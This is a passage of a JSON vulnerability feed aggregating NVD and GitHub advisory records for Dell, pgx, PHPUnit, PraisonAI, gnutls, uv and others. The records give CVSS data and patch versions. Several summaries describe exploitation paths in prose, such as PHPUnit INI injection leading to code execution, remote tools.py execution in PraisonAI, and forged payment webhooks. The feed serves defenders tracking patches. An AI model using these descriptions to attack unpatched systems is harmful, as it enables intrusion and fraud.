fixes.","publishedAt":"2026-05-11T10:16:13.370Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dell","product":"automation platform","stacks":["Dell","automation platform"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32658","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32658","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32658","type":"primary","publishedAt":"2026-05-11T10:16:13.370Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.dell.com/support/kbdoc/en-us/000458049/dsa-2026-193-security-update-for-dell-automation-platform-multiple-vulnerabilities","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41432","cveId":"CVE-2026-41432","aliases":[],"kind":"vulnerability","title":"New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system.","summary":"New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.12.10, a vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. This issue has been patched in version 0.12.10.","detail":"New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.12.10, a vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. This issue has been patched in version 0.12.10.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T23:16:35.457Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"newapi","product":"new api","stacks":["Newapi","new api"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41432","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41432","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41432","type":"primary","publishedAt":"2026-05-08T23:16:35.457Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/QuantumNous/new-api/security/advisories/GHSA-xff3-5c9p-2mr4","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44694","cveId":"CVE-2026-44694","aliases":[],"kind":"vulnerability","title":"n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations.","summary":"n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. From version 2.18.7 to before version 2.50.2, there is an authenticated server-side request forgery vulnerability affecting the webhook trigger tools, the n8n API client (N8N_API_URL), and per-request URLs supplied via the x-n8n-url header in multi-tenant HTTP mode. This issue has been patched in version 2.50.2.","detail":"n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. From version 2.18.7 to before version 2.50.2, there is an authenticated server-side request forgery vulnerability affecting the webhook trigger tools, the n8n API client (N8N_API_URL), and per-request URLs supplied via the x-n8n-url header in multi-tenant HTTP mode. This issue has been patched in version 2.50.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T20:16:31.917Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"n8n-mcp","product":"n8n-mcp","stacks":["MCP servers and SDKs","n8n-mcp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44694","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44694","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44694","type":"primary","publishedAt":"2026-05-08T20:16:31.917Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-cmrh-wvq6-wm9r","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42189","cveId":"CVE-2026-42189","aliases":[],"kind":"vulnerability","title":"Russh is a Rust SSH client & server library.","summary":"Russh is a Rust SSH client & server library. Prior to version 0.60.1, a pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials. This issue has been patched in version 0.60.1.","detail":"Russh is a Rust SSH client & server library. Prior to version 0.60.1, a pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials. This issue has been patched in version 0.60.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T20:16:31.443Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"russh project","product":"russh","stacks":["Russh Project","russh"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42189","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42189","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42189","type":"primary","publishedAt":"2026-05-08T20:16:31.443Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-f5v4-2wr6-hqmg","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41889","cveId":"CVE-2026-41889","aliases":[],"kind":"vulnerability","title":"pgx is a PostgreSQL driver and toolkit for Go.","summary":"pgx is a PostgreSQL driver and toolkit for Go. Prior to version 5.9.2, SQL injection can occur when the non-default simple protocol is used, a dollar quoted string literal is used in the SQL query, that string literal contains text that would be would be interpreted as a placeholder outside of a string literal, and the value of that placeholder is controllable by the attacker. This issue has been patched in version 5.9.2.","detail":"pgx is a PostgreSQL driver and toolkit for Go. Prior to version 5.9.2, SQL injection can occur when the non-default simple protocol is used, a dollar quoted string literal is used in the SQL query, that string literal contains text that would be would be interpreted as a placeholder outside of a string literal, and the value of that placeholder is controllable by the attacker. This issue has been patched in version 5.9.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T17:16:31.040Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"jackc","product":"pgx","stacks":["PostgreSQL","pgx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41889","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41889","type":"primary","publishedAt":"2026-05-08T17:16:31.040Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/jackc/pgx/security/advisories/GHSA-j88v-2chj-qfwx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41570","cveId":"CVE-2026-41570","aliases":[],"kind":"vulnerability","title":"PHPUnit is a testing framework for PHP.","summary":"PHPUnit is a testing framework for PHP. In versions 12.5.21 and 13.1.5, PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets \" as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives. An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process. This issue has been patched in versions 12.5.22 and 13.1.6.","detail":"PHPUnit is a testing framework for PHP. In versions 12.5.21 and 13.1.5, PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets \" as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives. An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process. This issue has been patched in versions 12.5.22 and 13.1.6.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T15:16:40.420Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"phpunit project","product":"phpunit","stacks":["Phpunit Project","phpunit"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41570","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41570","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41570","type":"primary","publishedAt":"2026-05-08T15:16:40.420Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-qrr6-mg7r-m243","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44339","cveId":"CVE-2026-44339","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.37 and praisonaiagents version 1.6.37, praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools. This issue has been patched in praisonai version 4.6.37 and praisonaiagents version 1.6.37.","detail":"PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.37 and praisonaiagents version 1.6.37, praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools. This issue has been patched in praisonai version 4.6.37 and praisonaiagents version 1.6.37.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T14:16:46.887Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"praison","product":"praisonai","stacks":["Praison","praisonai"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44339","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44339","type":"primary","publishedAt":"2026-05-08T14:16:46.887Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gmjg-hv98-qggq","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44335","cveId":"CVE-2026-44335","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. Prior to version 1.6.32, the URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. This issue has been patched in version 1.6.32.","detail":"PraisonAI is a multi-agent teams system. Prior to version 1.6.32, the URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. This issue has been patched in version 1.6.32.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T14:16:46.290Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"praison","product":"praisonaiagents","stacks":["Praison","praisonaiagents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44335","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44335","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44335","type":"primary","publishedAt":"2026-05-08T14:16:46.290Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q9pw-vmhh-384g","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44334","cveId":"CVE-2026-44334","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.139 to before version 4.6.32, CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required. This issue has been patched in version 4.6.32.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.139 to before version 4.6.32, CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required. This issue has been patched in version 4.6.32.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T14:16:46.143Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"praison","product":"praisonai","stacks":["Praison","praisonai"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44334","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44334","type":"primary","publishedAt":"2026-05-08T14:16:46.143Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42010","cveId":"CVE-2026-42010","aliases":[],"kind":"vulnerability","title":"A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated...","summary":"A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process.","detail":"A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-07T12:16:17.977Z","updatedAt":"2026-10-26T18:17:47.483Z","regions":["Global"],"vendor":"gnu","product":"gnutls","stacks":["GNU","gnutls"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42010","asOf":"2026-10-26T18:17:47.483Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42010","type":"primary","publishedAt":"2026-05-07T12:16:17.977Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/security/cve/CVE-2026-42010","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114110","cveId":"CVE-2026-114110","aliases":["GHSA-pjjw-68hj-v9mw"],"kind":"vulnerability","title":"uv vulnerable to arbitrary file deletion through RECORD entries","summary":"Wheel RECORD entries can contain relative paths that traverse outside of the wheel’s installation prefix. In versions 0.11.5 and earlier of uv, these wheels were not rejected on installation and the RECORD was respected without validation on uninstall.\n\nuv uses the RECORD to determine files to remove on uninstall. Consequently, a malicious or malformed wheel could induce deletion of arbitrary files outside of the wheel’s installation prefix on uninstall.","detail":"## Impact\n\nWheel RECORD entries can contain relative paths that traverse outside of the wheel’s installation prefix. In versions 0.11.5 and earlier of uv, these wheels were not rejected on installation and the RECORD was respected without validation on uninstall.\n\nuv uses the RECORD to determine files to remove on uninstall. Consequently, a malicious or malformed wheel could induce deletion of arbitrary files outside of the wheel’s installation prefix on uninstall.\n\nuv does not use the RECORD file to determine wheel file paths. Invalid RECORD entries cannot be used to create or modify files in arbitrary locations.\n\nStandards-compliant Python packaging tooling does not produce RECORD files that exhibit this behavior; an attacker must manually manipulate the RECORD. A user must install *and* uninstall the malformed wheel to be affected. An attack must guess the depth of the installation prefix path in order to target system files.\n\nAbsolute paths in RECORD files are not allowed by the specification and, when present, uv always treats them as rooted in the wheel’s installation prefix. Absolute paths cannot be used to delete arbitrary files.\n\nOnly files can be deleted, attempts to delete a directory via an invalid RECORD entry will fail.\n\n## Patches\n\nVersions [0.11.6](https://github.com/astral-sh/uv/releases/tag/0.11.6) and newer of uv address the validation gap above, by [removing invalid entries from RECORD files on wheel installation](https://github.com/astral-sh/uv/pull/18943) and [ignoring RECORD paths that would escape the installation prefix on uninstall](https://github.com/astral-sh/uv/pull/18942).\n\n## Workarounds\n\nUsers are advised to upgrade to 0.11.6 or newer to address this advisory.\n\nUsers should experience no breaking changes as a result of the patch above.\n\nAffected package ranges reported by GitHub:\nuv: <= 0.11.5","action":"GitHub lists first patched versions: uv: 0.11.6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-04-10T19:39:15.000Z","updatedAt":"2026-10-23T20:58:15.000Z","regions":["Global"],"vendor":null,"product":"uv","stacks":["Python packages (PyPI)","uv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-pjjw-68hj-v9mw","asOf":"2026-10-23T20:58:15.000Z"},"epss":{"probability":0.00348,"percentile":0.28102,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-pjjw-68hj-v9mw","url":"https://github.com/advisories/GHSA-pjjw-68hj-v9mw","type":"primary","publishedAt":"2026-04-10T19:39:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pjjw-68hj-v9mw, its actual identifiers, source dates, and structured metrics."},{"name":"NVD 